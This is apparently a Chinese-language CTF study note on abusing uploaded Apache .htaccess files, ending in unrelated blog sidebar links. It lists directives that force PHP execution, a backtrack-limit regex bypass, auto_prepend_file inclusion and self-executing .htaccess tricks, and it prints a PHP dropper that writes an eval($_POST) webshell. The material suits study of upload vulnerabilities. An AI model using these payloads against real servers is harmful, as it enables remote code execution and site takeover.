【Web安全】htaccess攻击

.htaccess攻击

1. .htaccess文件

.htaccess是Apache网络服务器一个配置文件,当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中,.htaccess文件会被Apache Web服务器软件检测并执行,通过.hatccess文件,可以改变Apache服务器软件的功能和特性。在这之前先了解apache中的httpd.conf文件,这是apache的配置文件,由于网站的发展来看大多数网站都是通过协同来进行的,个人很难通过修改httpd.conf来修改apache的配置特性,所以引出了.htaccess文件的概念,它有着和httpd.conf文件相同的作用。

.htaccess文件提供了针对目录的配置变换方法,这样有利于不同目录用不同的配置,即在一个特定的文档中放置一个htaccess文件以作用此目录及其所有子目录,并且可以被子目录覆盖。作为网站管理员可以限制htaccess文件的使用,方法就是将Apache中的AllowOverride设置为All,以及mod_rewrite.so(在httpd.conf文件中)

  • 允许重写覆盖相关配置:
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other 
# <Directory> blocks below.
#


<Directory />
    Options +Indexes +FollowSymLinks +ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Require all granted
</Directory>
  • 允许在httpd.conf外重写配置:
#LoadModule request_module modules/mod_request.so
#LoadModule reqtimeout_module modules/mod_reqtimeout.so
LoadModule rewrite_module modules/mod_rewrite.so   <--这一个
#LoadModule sed_module modules/mod_sed.so
#LoadModule session_module modules/mod_session.so

如果一个web应用允许上传htaccess文件并且允许重写,那就意味着可以更改apache的配置包括过滤操作,攻击想象面极大。

2. 常见用法

参考于[CTF].htaccess的使用技巧总结,由于是偏笔记类的博客,所以不给出太多的案例。

2.1. 自定义出错界面

使用htaccess创建自定义的出错界面,这也可以是一个URL,对于linux来说:

ErrorDocument 404 /path/to/your/error/pages/404.html  
ErrorDocument 500 /path/to/your/error/pages/500.html

但是对于windows来说我用这种方式不行,它会显示找不到我也不知道为什么,或者直接显示文件名(同一个目录),但是由于它可以是一个url所以我使用http协议,当然也可以使用目录穿越:

ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/error/error.php
ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/../upload/error/error.php

2.2. 强制文件执行方式

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

这一种方式可以强制文件被哪一个解析器执行,尤其是利用修改后缀的木马文件。

AddHanlder application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddType application/x-httpd-php .xxx 同上AddHandler的作用

AddType和AddHanlder同理,但是一般能上传htaccess文件的一般直接使用SetHandler了

在这里插入图片描述

2.3. PCRE绕过正则匹配

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

php_value pcre.backtrack_limit 0

简单总结一下,假如我们有一个php语句为<?php phpinfo();?>abcdef,不管什么文件后缀都会执行正则匹配

preg_match('/<\?.*[(`;?>].*/is', $data);  

其中正则匹配循环到这两个.*已经匹配完所有字符了即到达abcdef的f,但是点星后面还有字符所以会进行回溯,重点就是这个回溯操作。回溯过程就是从f开始往前匹配,如果其中有匹配[(`;?>]的就结束,这个就是点星的匹配逻辑,如果没有回溯则点星就会匹配完<?php phpinfo()?>abcdef,而不满足原来则正则表达式,所以会返回false从而实现绕过。php设定了回溯最大次数,如果我们修改这个回溯次数为0,超过最大次数就会返回false(不是0也不是1,但是正常的匹配是会返回0或1的),可以实现绕过。

但是存在非贪婪模式的正则匹配,那可以输入大量的字符在/**/注释符中,使回溯次数超过限制。

解决方案就是,使用全等号来判断返回值。

2.4. php_value修改php设定

想要使用htaccess修改php的设定,需要有AllowOverride Options 或AllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。(注,这是原作上写的,我按照过程实践了一遍,value有值还是可以修改设定,先放着吧)

而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令(https://www.php.net/manual/zh/configuration.changes.modes.php)
而具体的类型的指令可以参考官方文档https://www.php.net/manual/zh/ini.list.php

可以利用这个创建一句话木马,只要将写木马的代码以合法的后缀(啥都行,一个字母也行)传送到网站中即可。

php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
<?php
$new_file_name = "shell.php";
$shell_content = '<?php @eval($_POST[\'x\']);?>';

if (file_put_contents($new_file_name, $shell_content) != false) {
echo "Shell文件创建成功";
} else {
echo "创建Shell文件失败";
}
?>

创建的shell在被解析文件的目录中

2.5. php_value文件包含

php_value的作用还可以文件包含,在作用范围内的php文件头/尾自动include指定文件,支持php伪协议.htaccess可以使得include默认路径改变,即:

在这里插入图片描述

通过改变include_path的值可以实现默认路径改变。

2.6. 把htaccess当作php

  • 当前文件下有php文件
php_value auto_append_file .htaccess
#<?php phpinfo();
  • 当前文件下没有php文件,先要设置htaccess允许访问
<Files .htaccess>

SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

下面知识比较模糊,之后总结

相关推荐

  1. Web安全攻防措施

    2024-03-13 10:18:01       39 阅读
  2. Web 安全之 SSL 剥离攻击详解

    2024-03-13 10:18:01       31 阅读
  3. web攻击

    2024-03-13 10:18:01       26 阅读
  4. web安全,常见的攻击以及如何防御

    2024-03-13 10:18:01       55 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-13 10:18:01       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-13 10:18:01       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-13 10:18:01       87 阅读
  4. Python语言-面向对象

    2024-03-13 10:18:01       96 阅读

热门阅读

  1. 计算机网络 TCP协议的流量控制

    2024-03-13 10:18:01       45 阅读
  2. 软考笔记--层次式架构之中间层架构设计

    2024-03-13 10:18:01       43 阅读
  3. 数据结构——KMP

    2024-03-13 10:18:01       45 阅读
  4. c# DbHelper的封装

    2024-03-13 10:18:01       38 阅读
  5. 比特币如何运作?区块链、网络、交易

    2024-03-13 10:18:01       64 阅读
  6. 华为OD机试真题-5G网络建设

    2024-03-13 10:18:01       38 阅读
  7. list排序根据某个字段去重

    2024-03-13 10:18:01       43 阅读
  8. vsto快速在excel中查找某个字符串

    2024-03-13 10:18:01       41 阅读
  9. C++通过循环删除字典中的元素及UB

    2024-03-13 10:18:01       41 阅读
  10. ·xss文件上传漏洞

    2024-03-13 10:18:01       41 阅读
  11. 在 debian 虚拟机里如何设置 iso 文件为本地安装源

    2024-03-13 10:18:01       46 阅读
  12. Zookeeper集群搭建

    2024-03-13 10:18:01       41 阅读
  13. 大语言模型(LLM)Token 概念

    2024-03-13 10:18:01       42 阅读
  14. 自然语言处理概念以及发展

    2024-03-13 10:18:01       44 阅读